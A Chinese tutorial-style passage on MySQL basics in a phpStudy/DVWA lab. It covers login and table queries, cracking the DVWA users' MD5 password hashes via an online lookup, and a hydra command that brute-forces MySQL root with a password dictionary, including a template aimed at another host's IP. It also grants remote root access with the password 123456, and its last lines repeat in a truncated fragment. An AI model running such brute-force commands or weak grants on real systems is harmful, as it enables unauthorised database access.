赞
踩
数据库是什么
存储数据的仓库,数据是有组织的进行存储。
mysql是一种关系数据库管理系统
使用工具:phpstudy
mysql 默认端口 3306
进入phpStudy配置
找到
phpStudy\MySQL\bin,将目录位置复制
打开此电脑右键属性,高级系统设置下->环境变量
把刚刚复制的路径添加到系统环境变量,path中
重新打开cmd
登录mysql命令
mysql -uroot -p
输入密码:默认密码root
显示当前mysql中有哪些数据库
#show databases;
使用进入数据库:
USE 数据库名;
查询当前数据库所有表:
SHOW TABLES;
查看表中所有数据
select * from 表名
查询指定的多个字段:
SELECT 字段1, 字段2, 字段3, ... FROM 表名;
可以查看到dvwa数据库中有个users,里面存放的是数据库的用户名和密码。
可以看到password里面是密文传输。
解决方法:
打开网站,搜索MD5,复制密文点击查询
可以使用cd
或者直接在hydra下直接上方输入cmd:
使用命令爆破:
爆破本机mysql
#hydra.exe -l root -P zongpassword.txt mysql://127.0.0.1
// -l小写l跟的是已知的账户名 -P大P 后面跟要指定zongpassword.txt为内置密码字典
mysql://127.0.0.1
爆破完成:
命令:
hydea -l 用户名 -P 密码字典 mysql://对方IP
kail远程连接windows mysql数据库
首先 windwos进入musql
mysql -uroot -p、
windows进入后输入
执行语句: GRANT ALL PRIVILEGES ON . TO ‘root’@‘%’ IDENTIFIED BY ‘123456’ WITH GRANT OPTION;
执行语句: FLUSH privileges; (刷新MySQL的系统权限相关表)
mysql -uroot -h 对方IP -p
LL PRIVILEGES ON . TO ‘root’@‘%’ IDENTIFIED BY ‘123456’ WITH GRANT OPTION;
执行语句: FLUSH privileges; (刷新MySQL的系统权限相关表)
mysql -uroot -h 对方IP -p
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。